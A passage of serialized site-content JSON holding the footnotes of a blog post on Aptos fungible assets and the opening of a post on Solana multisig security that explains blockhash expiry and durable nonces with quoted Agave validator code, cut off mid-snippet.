asset?",{"type":19,"tag":12921,"props":65033,"children":65034},{},[65035],{"type":19,"tag":269,"props":65036,"children":65038},{"href":27094,"ariaDescribedBy":65037,"dataFootnoteRef":7,"id":27096},[12928],[65039],{"type":24,"value":1442},{"type":19,"tag":15873,"props":65041,"children":65043},{"className":65042,"dataFootnotes":7},[15876],[65044,65049],{"type":19,"tag":36,"props":65045,"children":65047},{"className":65046,"id":12928},[15881],[65048],{"type":24,"value":15884},{"type":19,"tag":2869,"props":65050,"children":65051},{},[65052],{"type":19,"tag":47,"props":65053,"children":65054},{"id":27837},[65055,65057,65099],{"type":24,"value":65056},"There are at least four functions that can withdraw a fungible asset:",{"type":19,"tag":43,"props":65058,"children":65059},{},[65060,65070,65079,65089],{"type":19,"tag":47,"props":65061,"children":65062},{},[65063],{"type":19,"tag":269,"props":65064,"children":65068},{"href":65065,"rel":65066,":style":65067},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[273],"color: #007bff;",[65069],{"type":24,"value":61752},{"type":19,"tag":47,"props":65071,"children":65072},{},[65073],{"type":19,"tag":269,"props":65074,"children":65077},{"href":65075,"rel":65076,":style":65067},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[273],[65078],{"type":24,"value":63692},{"type":19,"tag":47,"props":65080,"children":65081},{},[65082],{"type":19,"tag":269,"props":65083,"children":65086},{"href":65084,"rel":65085,":style":65067},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[273],[65087],{"type":24,"value":65088},"primary_fungible_store::withdraw",{"type":19,"tag":47,"props":65090,"children":65091},{},[65092],{"type":19,"tag":269,"props":65093,"children":65096},{"href":65094,"rel":65095,":style":65067},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[273],[65097],{"type":24,"value":65098},"coin::withdraw",{"type":19,"tag":269,"props":65100,"children":65102},{"href":27865,"ariaLabel":15987,"className":65101,"dataFootnoteBackref":7},[15989],[65103],{"type":24,"value":15992},{"type":19,"tag":232,"props":65105,"children":65106},{},[65107],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":65109},[65110,65111,65112,65115,65120,65121,65122,65123],{"id":58437,"depth":198,"text":58440},{"id":58982,"depth":198,"text":58985},{"id":59542,"depth":198,"text":59545,"children":65113},[65114],{"id":60053,"depth":415,"text":60056},{"id":60310,"depth":198,"text":60313,"children":65116},[65117,65118,65119],{"id":60353,"depth":415,"text":60356},{"id":61058,"depth":415,"text":61061},{"id":62716,"depth":415,"text":62719},{"id":63247,"depth":198,"text":63250},{"id":64228,"depth":198,"text":64231},{"id":26402,"depth":198,"text":16400},{"id":12928,"depth":198,"text":15884},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":65128,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":65129,"description":65130,"date":65131,"author":3153,"image":65132,"isFeatured":14,"onBlogPage":14,"tags":65134,"body":65135,"_type":242,"_id":66963,"_source":244,"_file":66964,"_stem":66965,"_extension":247},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":65133,"width":2817,"height":2818},"/posts/multisig-security/title.png",[259],{"type":16,"children":65136,"toc":66954},[65137,65150,65156,65161,65167,65180,65188,65201,65261,65283,65410,65415,65428,65440,65446,65460,65473,65487,65969,65974,65982,65996,66010,66149,66161,66167,66172,66190,66195,66200,66221,66505,66520,66708,66721,66850,66855,66860,66865,66893,66899,66904,66918,66950],{"type":19,"tag":20,"props":65138,"children":65139},{},[65140,65141,65148],{"type":24,"value":14062},{"type":19,"tag":269,"props":65142,"children":65145},{"href":65143,"rel":65144},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[273],[65146],{"type":24,"value":65147},"Bybit hack",{"type":24,"value":65149}," raises an interesting question: what can teams do if their signers are compromised?",{"type":19,"tag":36,"props":65151,"children":65153},{"id":65152},"solana-signatures",[65154],{"type":24,"value":65155},"Solana Signatures",{"type":19,"tag":20,"props":65157,"children":65158},{},[65159],{"type":24,"value":65160},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":19,"tag":7050,"props":65162,"children":65164},{"id":65163},"recent-blockhash",[65165],{"type":24,"value":65166},"Recent Blockhash",{"type":19,"tag":20,"props":65168,"children":65169},{},[65170,65172,65179],{"type":24,"value":65171},"The most straightforward is with a \"recent blockhash\". From ",{"type":19,"tag":269,"props":65173,"children":65176},{"href":65174,"rel":65175},"https://solana.com/developers/guides/advanced/confirmation",[273],[65177],{"type":24,"value":65178},"the docs",{"type":24,"value":1922},{"type":19,"tag":315,"props":65181,"children":65182},{},[65183],{"type":19,"tag":20,"props":65184,"children":65185},{},[65186],{"type":24,"value":65187},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":19,"tag":20,"props":65189,"children":65190},{},[65191,65193,65200],{"type":24,"value":65192},"The actual constant ",{"type":19,"tag":269,"props":65194,"children":65197},{"href":65195,"rel":65196},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[273],[65198],{"type":24,"value":65199},"is defined here",{"type":24,"value":948},{"type":19,"tag":158,"props":65202,"children":65204},{"className":363,"code":65203,"language":362,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[65205],{"type":19,"tag":27,"props":65206,"children":65207},{"__ignoreMap":7},[65208,65216],{"type":19,"tag":168,"props":65209,"children":65210},{"class":170,"line":171},[65211],{"type":19,"tag":168,"props":65212,"children":65213},{"style":373},[65214],{"type":24,"value":65215},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":19,"tag":168,"props":65217,"children":65218},{"class":170,"line":198},[65219,65223,65227,65232,65236,65240,65244,65249,65253,65257],{"type":19,"tag":168,"props":65220,"children":65221},{"style":382},[65222],{"type":24,"value":11136},{"type":19,"tag":168,"props":65224,"children":65225},{"style":382},[65226],{"type":24,"value":36586},{"type":19,"tag":168,"props":65228,"children":65229},{"style":212},[65230],{"type":24,"value":65231}," MAX_PROCESSING_AGE",{"type":19,"tag":168,"props":65233,"children":65234},{"style":399},[65235],{"type":24,"value":1922},{"type":19,"tag":168,"props":65237,"children":65238},{"style":825},[65239],{"type":24,"value":11177},{"type":19,"tag":168,"props":65241,"children":65242},{"style":399},[65243],{"type":24,"value":402},{"type":19,"tag":168,"props":65245,"children":65246},{"style":212},[65247],{"type":24,"value":65248}," MAX_RECENT_BLOCKHASHES ",{"type":19,"tag":168,"props":65250,"children":65251},{"style":399},[65252],{"type":24,"value":2012},{"type":19,"tag":168,"props":65254,"children":65255},{"style":192},[65256],{"type":24,"value":5371},{"type":19,"tag":168,"props":65258,"children":65259},{"style":212},[65260],{"type":24,"value":412},{"type":19,"tag":20,"props":65262,"children":65263},{},[65264,65266,65273,65275,65281],{"type":24,"value":65265},"For those curious, the logic ",{"type":19,"tag":269,"props":65267,"children":65270},{"href":65268,"rel":65269},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[273],[65271],{"type":24,"value":65272},"starts here",{"type":24,"value":65274}," and is quite straightforward to follow, ending in a ",{"type":19,"tag":27,"props":65276,"children":65278},{"className":65277},[],[65279],{"type":24,"value":65280},"is_hash_index_valid",{"type":24,"value":65282}," check.",{"type":19,"tag":158,"props":65284,"children":65286},{"className":363,"code":65285,"language":362,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[65287],{"type":19,"tag":27,"props":65288,"children":65289},{"__ignoreMap":7},[65290,65369,65403],{"type":19,"tag":168,"props":65291,"children":65292},{"class":170,"line":171},[65293,65297,65302,65306,65311,65315,65319,65323,65328,65332,65336,65340,65345,65349,65353,65357,65361,65365],{"type":19,"tag":168,"props":65294,"children":65295},{"style":382},[65296],{"type":24,"value":17721},{"type":19,"tag":168,"props":65298,"children":65299},{"style":175},[65300],{"type":24,"value":65301}," is_hash_index_valid",{"type":19,"tag":168,"props":65303,"children":65304},{"style":212},[65305],{"type":24,"value":500},{"type":19,"tag":168,"props":65307,"children":65308},{"style":393},[65309],{"type":24,"value":65310},"last_hash_index",{"type":19,"tag":168,"props":65312,"children":65313},{"style":399},[65314],{"type":24,"value":1922},{"type":19,"tag":168,"props":65316,"children":65317},{"style":825},[65318],{"type":24,"value":3294},{"type":19,"tag":168,"props":65320,"children":65321},{"style":212},[65322],{"type":24,"value":471},{"type":19,"tag":168,"props":65324,"children":65325},{"style":393},[65326],{"type":24,"value":65327},"max_age",{"type":19,"tag":168,"props":65329,"children":65330},{"style":399},[65331],{"type":24,"value":1922},{"type":19,"tag":168,"props":65333,"children":65334},{"style":825},[65335],{"type":24,"value":11177},{"type":19,"tag":168,"props":65337,"children":65338},{"style":212},[65339],{"type":24,"value":471},{"type":19,"tag":168,"props":65341,"children":65342},{"style":393},[65343],{"type":24,"value":65344},"hash_index",{"type":19,"tag":168,"props":65346,"children":65347},{"style":399},[65348],{"type":24,"value":1922},{"type":19,"tag":168,"props":65350,"children":65351},{"style":825},[65352],{"type":24,"value":3294},{"type":19,"tag":168,"props":65354,"children":65355},{"style":212},[65356],{"type":24,"value":481},{"type":19,"tag":168,"props":65358,"children":65359},{"style":399},[65360],{"type":24,"value":11203},{"type":19,"tag":168,"props":65362,"children":65363},{"style":825},[65364],{"type":24,"value":9495},{"type":19,"tag":168,"props":65366,"children":65367},{"style":212},[65368],{"type":24,"value":691},{"type":19,"tag":168,"props":65370,"children":65371},{"class":170,"line":198},[65372,65377,65381,65386,65390,65395,65399],{"type":19,"tag":168,"props":65373,"children":65374},{"style":393},[65375],{"type":24,"value":65376}," last_hash_index",{"type":19,"tag":168,"props":65378,"children":65379},{"style":399},[65380],{"type":24,"value":48738},{"type":19,"tag":168,"props":65382,"children":65383},{"style":393},[65384],{"type":24,"value":65385}," hash_index",{"type":19,"tag":168,"props":65387,"children":65388},{"style":399},[65389],{"type":24,"value":5634},{"type":19,"tag":168,"props":65391,"children":65392},{"style":393},[65393],{"type":24,"value":65394}," max_age",{"type":19,"tag":168,"props":65396,"children":65397},{"style":382},[65398],{"type":24,"value":6266},{"type":19,"tag":168,"props":65400,"children":65401},{"style":825},[65402],{"type":24,"value":10642},{"type":19,"tag":168,"props":65404,"children":65405},{"class":170,"line":415},[65406],{"type":19,"tag":168,"props":65407,"children":65408},{"style":212},[65409],{"type":24,"value":1326},{"type":19,"tag":20,"props":65411,"children":65412},{},[65413],{"type":24,"value":65414},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":19,"tag":315,"props":65416,"children":65417},{},[65418],{"type":19,"tag":20,"props":65419,"children":65420},{},[65421,65423],{"type":24,"value":65422},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":19,"tag":51,"props":65424,"children":65425},{},[65426],{"type":24,"value":65427},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":19,"tag":20,"props":65429,"children":65430},{},[65431,65433,65438],{"type":24,"value":65432},"This means an attacker ",{"type":19,"tag":293,"props":65434,"children":65435},{},[65436],{"type":24,"value":65437},"must use",{"type":24,"value":65439}," a malicious signed transaction within a short timeframe.",{"type":19,"tag":7050,"props":65441,"children":65443},{"id":65442},"durable-nonce",[65444],{"type":24,"value":65445},"Durable Nonce",{"type":19,"tag":20,"props":65447,"children":65448},{},[65449,65451,65458],{"type":24,"value":65450},"The second type of signature ",{"type":19,"tag":269,"props":65452,"children":65455},{"href":65453,"rel":65454},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[273],[65456],{"type":24,"value":65457},"is a durable nonce",{"type":24,"value":65459},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":19,"tag":315,"props":65461,"children":65462},{},[65463],{"type":19,"tag":20,"props":65464,"children":65465},{},[65466,65468],{"type":24,"value":65467},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":19,"tag":51,"props":65469,"children":65470},{},[65471],{"type":24,"value":65472},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":19,"tag":20,"props":65474,"children":65475},{},[65476,65478,65485],{"type":24,"value":65477},"If we examine the code ",{"type":19,"tag":269,"props":65479,"children":65482},{"href":65480,"rel":65481},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[273],[65483],{"type":24,"value":65484},"for recent blockhash validation",{"type":24,"value":65486},", we can also see the handling for durable nonces.",{"type":19,"tag":158,"props":65488,"children":65490},{"className":363,"code":65489,"language":362,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[65491],{"type":19,"tag":27,"props":65492,"children":65493},{"__ignoreMap":7},[65494,65541,65607,65627,65647,65677,65685,65739,65756,65776,65788,65800,65808,65815,65834,65861,65881,65888,65903,65933,65962],{"type":19,"tag":168,"props":65495,"children":65496},{"class":170,"line":171},[65497,65501,65506,65510,65515,65519,65524,65528,65532,65537],{"type":19,"tag":168,"props":65498,"children":65499},{"style":382},[65500],{"type":24,"value":385},{"type":19,"tag":168,"props":65502,"children":65503},{"style":393},[65504],{"type":24,"value":65505}," recent_blockhash",{"type":19,"tag":168,"props":65507,"children":65508},{"style":399},[65509],{"type":24,"value":402},{"type":19,"tag":168,"props":65511,"children":65512},{"style":393},[65513],{"type":24,"value":65514}," tx",{"type":19,"tag":168,"props":65516,"children":65517},{"style":399},[65518],{"type":24,"value":948},{"type":19,"tag":168,"props":65520,"children":65521},{"style":175},[65522],{"type":24,"value":65523},"message",{"type":19,"tag":168,"props":65525,"children":65526},{"style":212},[65527],{"type":24,"value":11325},{"type":19,"tag":168,"props":65529,"children":65530},{"style":399},[65531],{"type":24,"value":948},{"type":19,"tag":168,"props":65533,"children":65534},{"style":175},[65535],{"type":24,"value":65536},"recent_blockhash",{"type":19,"tag":168,"props":65538,"children":65539},{"style":212},[65540],{"type":24,"value":1084},{"type":19,"tag":168,"props":65542,"children":65543},{"class":170,"line":198},[65544,65548,65552,65556,65560,65565,65569,65573,65578,65582,65587,65591,65595,65599,65603],{"type":19,"tag":168,"props":65545,"children":65546},{"style":419},[65547],{"type":24,"value":9724},{"type":19,"tag":168,"props":65549,"children":65550},{"style":382},[65551],{"type":24,"value":24773},{"type":19,"tag":168,"props":65553,"children":65554},{"style":825},[65555],{"type":24,"value":24778},{"type":19,"tag":168,"props":65557,"children":65558},{"style":212},[65559],{"type":24,"value":500},{"type":19,"tag":168,"props":65561,"children":65562},{"style":393},[65563],{"type":24,"value":65564},"hash_info",{"type":19,"tag":168,"props":65566,"children":65567},{"style":212},[65568],{"type":24,"value":481},{"type":19,"tag":168,"props":65570,"children":65571},{"style":399},[65572],{"type":24,"value":486},{"type":19,"tag":168,"props":65574,"children":65575},{"style":393},[65576],{"type":24,"value":65577}," hash_queue",{"type":19,"tag":168,"props":65579,"children":65580},{"style":399},[65581],{"type":24,"value":948},{"type":19,"tag":168,"props":65583,"children":65584},{"style":175},[65585],{"type":24,"value":65586},"get_hash_info_if_valid",{"type":19,"tag":168,"props":65588,"children":65589},{"style":212},[65590],{"type":24,"value":500},{"type":19,"tag":168,"props":65592,"children":65593},{"style":393},[65594],{"type":24,"value":65536},{"type":19,"tag":168,"props":65596,"children":65597},{"style":212},[65598],{"type":24,"value":471},{"type":19,"tag":168,"props":65600,"children":65601},{"style":393},[65602],{"type":24,"value":65327},{"type":19,"tag":168,"props":65604,"children":65605},{"style":212},[65606],{"type":24,"value":12250},{"type":19,"tag":168,"props":65608,"children":65609},{"class":170,"line":415},[65610,65614,65618,65623],{"type":19,"tag":168,"props":65611,"children":65612},{"style":825},[65613],{"type":24,"value":12258},{"type":19,"tag":168,"props":65615,"children":65616},{"style":212},[65617],{"type":24,"value":500},{"type":19,"tag":168,"props":65619,"children":65620},{"style":825},[65621],{"type":24,"value":65622},"CheckedTransactionDetails",{"type":19,"tag":168,"props":65624,"children":65625},{"style":212},[65626],{"type":24,"value":691},{"type":19,"tag":168,"props":65628,"children":65629},{"class":170,"line":450},[65630,65635,65639,65643],{"type":19,"tag":168,"props":65631,"children":65632},{"style":393},[65633],{"type":24,"value":65634}," nonce",{"type":19,"tag":168,"props":65636,"children":65637},{"style":399},[65638],{"type":24,"value":1922},{"type":19,"tag":168,"props":65640,"children":65641},{"style":825},[65642],{"type":24,"value":25226},{"type":19,"tag":168,"props":65644,"children":65645},{"style":212},[65646],{"type":24,"value":915},{"type":19,"tag":168,"props":65648,"children":65649},{"class":170,"line":560},[65650,65655,65659,65664,65668,65673],{"type":19,"tag":168,"props":65651,"children":65652},{"style":393},[65653],{"type":24,"value":65654}," lamports_per_signature",{"type":19,"tag":168,"props":65656,"children":65657},{"style":399},[65658],{"type":24,"value":1922},{"type":19,"tag":168,"props":65660,"children":65661},{"style":393},[65662],{"type":24,"value":65663}," hash_info",{"type":19,"tag":168,"props":65665,"children":65666},{"style":399},[65667],{"type":24,"value":948},{"type":19,"tag":168,"props":65669,"children":65670},{"style":175},[65671],{"type":24,"value":65672},"lamports_per_signature",{"type":19,"tag":168,"props":65674,"children":65675},{"style":212},[65676],{"type":24,"value":898},{"type":19,"tag":168,"props":65678,"children":65679},{"class":170,"line":666},[65680],{"type":19,"tag":168,"props":65681,"children":65682},{"style":212},[65683],{"type":24,"value":65684}," })\n",{"type":19,"tag":168,"props":65686,"children":65687},{"class":170,"line":694},[65688,65692,65696,65700,65704,65708,65712,65717,65721,65726,65730,65734],{"type":19,"tag":168,"props":65689,"children":65690},{"style":212},[65691],{"type":24,"value":13227},{"type":19,"tag":168,"props":65693,"children":65694},{"style":419},[65695],{"type":24,"value":718},{"type":19,"tag":168,"props":65697,"children":65698},{"style":419},[65699],{"type":24,"value":13236},{"type":19,"tag":168,"props":65701,"children":65702},{"style":382},[65703],{"type":24,"value":24773},{"type":19,"tag":168,"props":65705,"children":65706},{"style":825},[65707],{"type":24,"value":24778},{"type":19,"tag":168,"props":65709,"children":65710},{"style":212},[65711],{"type":24,"value":28995},{"type":19,"tag":168,"props":65713,"children":65714},{"style":393},[65715],{"type":24,"value":65716},"nonce",{"type":19,"tag":168,"props":65718,"children":65719},{"style":212},[65720],{"type":24,"value":471},{"type":19,"tag":168,"props":65722,"children":65723},{"style":393},[65724],{"type":24,"value":65725},"previous_lamports_per_signature",{"type":19,"tag":168,"props":65727,"children":65728},{"style":212},[65729],{"type":24,"value":6275},{"type":19,"tag":168,"props":65731,"children":65732},{"style":399},[65733],{"type":24,"value":486},{"type":19,"tag":168,"props":65735,"children":65736},{"style":382},[65737],{"type":24,"value":65738}," self\n",{"type":19,"tag":168,"props":65740,"children":65741},{"class":170,"line":707},[65742,65747,65752],{"type":19,"tag":168,"props":65743,"children":65744},{"style":399},[65745],{"type":24,"value":65746}," .",{"type":19,"tag":168,"props":65748,"children":65749},{"style":175},[65750],{"type":24,"value":65751},"check_load_and_advance_message_nonce_account",{"type":19,"tag":168,"props":65753,"children":65754},{"style":212},[65755],{"type":24,"value":870},{"type":19,"tag":168,"props":65757,"children":65758},{"class":170,"line":725},[65759,65764,65768,65772],{"type":19,"tag":168,"props":65760,"children":65761},{"style":393},[65762],{"type":24,"value":65763}," tx",{"type":19,"tag":168,"props":65765,"children":65766},{"style":399},[65767],{"type":24,"value":948},{"type":19,"tag":168,"props":65769,"children":65770},{"style":175},[65771],{"type":24,"value":65523},{"type":19,"tag":168,"props":65773,"children":65774},{"style":212},[65775],{"type":24,"value":898},{"type":19,"tag":168,"props":65777,"children":65778},{"class":170,"line":746},[65779,65784],{"type":19,"tag":168,"props":65780,"children":65781},{"style":393},[65782],{"type":24,"value":65783}," next_durable_nonce",{"type":19,"tag":168,"props":65785,"children":65786},{"style":212},[65787],{"type":24,"value":915},{"type":19,"tag":168,"props":65789,"children":65790},{"class":170,"line":755},[65791,65796],{"type":19,"tag":168,"props":65792,"children":65793},{"style":393},[65794],{"type":24,"value":65795}," next_lamports_per_signature",{"type":19,"tag":168,"props":65797,"children":65798},{"style":212},[65799],{"type":24,"value":915},{"type":19,"tag":168,"props":65801,"children":65802},{"class":170,"line":1008},[65803],{"type":19,"tag":168,"props":65804,"children":65805},{"style":212},[65806],{"type":24,"value":65807}," )\n",{"type":19,"tag":168,"props":65809,"children":65810},{"class":170,"line":1025},[65811],{"type":19,"tag":168,"props":65812,"children":65813},{"style":212},[65814],{"type":24,"value":26657},{"type":19,"tag":168,"props":65816,"children":65817},{"class":170,"line":1042},[65818,65822,65826,65830],{"type":19,"tag":168,"props":65819,"children":65820},{"style":825},[65821],{"type":24,"value":12258},{"type":19,"tag":168,"props":65823,"children":65824},{"style":212},[65825],{"type":24,"value":500},{"type":19,"tag":168,"props":65827,"children":65828},{"style":825},[65829],{"type":24,"value":65622},{"type":19,"tag":168,"props":65831,"children":65832},{"style":212},[65833],{"type":24,"value":691},{"type":19,"tag":168,"props":65835,"children":65836},{"class":170,"line":1055},[65837,65841,65845,65849,65853,65857],{"type":19,"tag":168,"props":65838,"children":65839},{"style":393},[65840],{"type":24,"value":65634},{"type":19,"tag":168,"props":65842,"children":65843},{"style":399},[65844],{"type":24,"value":1922},{"type":19,"tag":168,"props":65846,"children":65847},{"style":825},[65848],{"type":24,"value":24778},{"type":19,"tag":168,"props":65850,"children":65851},{"style":212},[65852],{"type":24,"value":500},{"type":19,"tag":168,"props":65854,"children":65855},{"style":393},[65856],{"type":24,"value":65716},{"type":19,"tag":168,"props":65858,"children":65859},{"style":212},[65860],{"type":24,"value":4172},{"type":19,"tag":168,"props":65862,"children":65863},{"class":170,"line":1064},[65864,65868,65872,65877],{"type":19,"tag":168,"props":65865,"children":65866},{"style":393},[65867],{"type":24,"value":65654},{"type":19,"tag":168,"props":65869,"children":65870},{"style":399},[65871],{"type":24,"value":1922},{"type":19,"tag":168,"props":65873,"children":65874},{"style":393},[65875],{"type":24,"value":65876}," previous_lamports_per_signature",{"type":19,"tag":168,"props":65878,"children":65879},{"style":212},[65880],{"type":24,"value":915},{"type":19,"tag":168,"props":65882,"children":65883},{"class":170,"line":1087},[65884],{"type":19,"tag":168,"props":65885,"children":65886},{"style":212},[65887],{"type":24,"value":65684},{"type":19,"tag":168,"props":65889,"children":65890},{"class":170,"line":1096},[65891,65895,65899],{"type":19,"tag":168,"props":65892,"children":65893},{"style":212},[65894],{"type":24,"value":13227},{"type":19,"tag":168,"props":65896,"children":65897},{"style":419},[65898],{"type":24,"value":718},{"type":19,"tag":168,"props":65900,"children":65901},{"style":212},[65902],{"type":24,"value":691},{"type":19,"tag":168,"props":65904,"children":65905},{"class":170,"line":1105},[65906,65911,65915,65920,65925,65929],{"type":19,"tag":168,"props":65907,"children":65908},{"style":393},[65909],{"type":24,"value":65910}," error_counters",{"type":19,"tag":168,"props":65912,"children":65913},{"style":399},[65914],{"type":24,"value":948},{"type":19,"tag":168,"props":65916,"children":65917},{"style":212},[65918],{"type":24,"value":65919},"blockhash_not_found ",{"type":19,"tag":168,"props":65921,"children":65922},{"style":399},[65923],{"type":24,"value":65924},"+=",{"type":19,"tag":168,"props":65926,"children":65927},{"style":192},[65928],{"type":24,"value":1954},{"type":19,"tag":168,"props":65930,"children":65931},{"style":212},[65932],{"type":24,"value":412},{"type":19,"tag":168,"props":65934,"children":65935},{"class":170,"line":1174},[65936,65940,65944,65949,65953,65958],{"type":19,"tag":168,"props":65937,"children":65938},{"style":825},[65939],{"type":24,"value":12301},{"type":19,"tag":168,"props":65941,"children":65942},{"style":212},[65943],{"type":24,"value":500},{"type":19,"tag":168,"props":65945,"children":65946},{"style":825},[65947],{"type":24,"value":65948},"TransactionError",{"type":19,"tag":168,"props":65950,"children":65951},{"style":399},[65952],{"type":24,"value":888},{"type":19,"tag":168,"props":65954,"children":65955},{"style":825},[65956],{"type":24,"value":65957},"BlockhashNotFound",{"type":19,"tag":168,"props":65959,"children":65960},{"style":212},[65961],{"type":24,"value":557},{"type":19,"tag":168,"props":65963,"children":65964},{"class":170,"line":1182},[65965],{"type":19,"tag":168,"props":65966,"children":65967},{"style":212},[65968],{"type":24,"value":761},{"type":19,"tag":20,"props":65970,"children":65971},{},[65972],{"type":24,"value":65973},"The documentation does a good job of explaining how they work.",{"type":19,"tag":315,"props":65975,"children":65976},{},[65977],{"type":19,"tag":20,"props":65978,"children":65979},{},[65980],{"type":24,"value":65981},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":19,"tag":20,"props":65983,"children":65984},{},[65985,65987,65994],{"type":24,"value":65986},"Durable nonces are created and managed ",{"type":19,"tag":269,"props":65988,"children":65991},{"href":65989,"rel":65990},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[273],[65992],{"type":24,"value":65993},"by the system program",{"type":24,"value":65995},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":19,"tag":20,"props":65997,"children":65998},{},[65999,66001,66008],{"type":24,"value":66000},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":19,"tag":269,"props":66002,"children":66005},{"href":66003,"rel":66004},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[273],[66006],{"type":24,"value":66007},"based on the current blockhash",{"type":24,"value":66009},", and cannot be predicted in advance.",{"type":19,"tag":158,"props":66011,"children":66013},{"className":363,"code":66012,"language":362,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[66014],{"type":19,"tag":27,"props":66015,"children":66016},{"__ignoreMap":7},[66017,66069,66102],{"type":19,"tag":168,"props":66018,"children":66019},{"class":170,"line":171},[66020,66024,66028,66032,66036,66040,66045,66049,66053,66057,66061,66065],{"type":19,"tag":168,"props":66021,"children":66022},{"style":382},[66023],{"type":24,"value":385},{"type":19,"tag":168,"props":66025,"children":66026},{"style":393},[66027],{"type":24,"value":65577},{"type":19,"tag":168,"props":66029,"children":66030},{"style":399},[66031],{"type":24,"value":402},{"type":19,"tag":168,"props":66033,"children":66034},{"style":382},[66035],{"type":24,"value":11243},{"type":19,"tag":168,"props":66037,"children":66038},{"style":399},[66039],{"type":24,"value":948},{"type":19,"tag":168,"props":66041,"children":66042},{"style":212},[66043],{"type":24,"value":66044},"blockhash_queue",{"type":19,"tag":168,"props":66046,"children":66047},{"style":399},[66048],{"type":24,"value":948},{"type":19,"tag":168,"props":66050,"children":66051},{"style":175},[66052],{"type":24,"value":58125},{"type":19,"tag":168,"props":66054,"children":66055},{"style":212},[66056],{"type":24,"value":11325},{"type":19,"tag":168,"props":66058,"children":66059},{"style":399},[66060],{"type":24,"value":948},{"type":19,"tag":168,"props":66062,"children":66063},{"style":175},[66064],{"type":24,"value":1079},{"type":19,"tag":168,"props":66066,"children":66067},{"style":212},[66068],{"type":24,"value":1084},{"type":19,"tag":168,"props":66070,"children":66071},{"class":170,"line":198},[66072,66076,66081,66085,66089,66093,66098],{"type":19,"tag":168,"props":66073,"children":66074},{"style":382},[66075],{"type":24,"value":385},{"type":19,"tag":168,"props":66077,"children":66078},{"style":393},[66079],{"type":24,"value":66080}," last_blockhash",{"type":19,"tag":168,"props":66082,"children":66083},{"style":399},[66084],{"type":24,"value":402},{"type":19,"tag":168,"props":66086,"children":66087},{"style":393},[66088],{"type":24,"value":65577},{"type":19,"tag":168,"props":66090,"children":66091},{"style":399},[66092],{"type":24,"value":948},{"type":19,"tag":168,"props":66094,"children":66095},{"style":175},[66096],{"type":24,"value":66097},"last_hash",{"type":19,"tag":168,"props":66099,"children":66100},{"style":212},[66101],{"type":24,"value":1084},{"type":19,"tag":168,"props":66103,"children":66104},{"class":170,"line":415},[66105,66109,66114,66118,66123,66127,66132,66136,66140,66145],{"type":19,"tag":168,"props":66106,"children":66107},{"style":382},[66108],{"type":24,"value":385},{"type":19,"tag":168,"props":66110,"children":66111},{"style":393},[66112],{"type":24,"value":66113}," 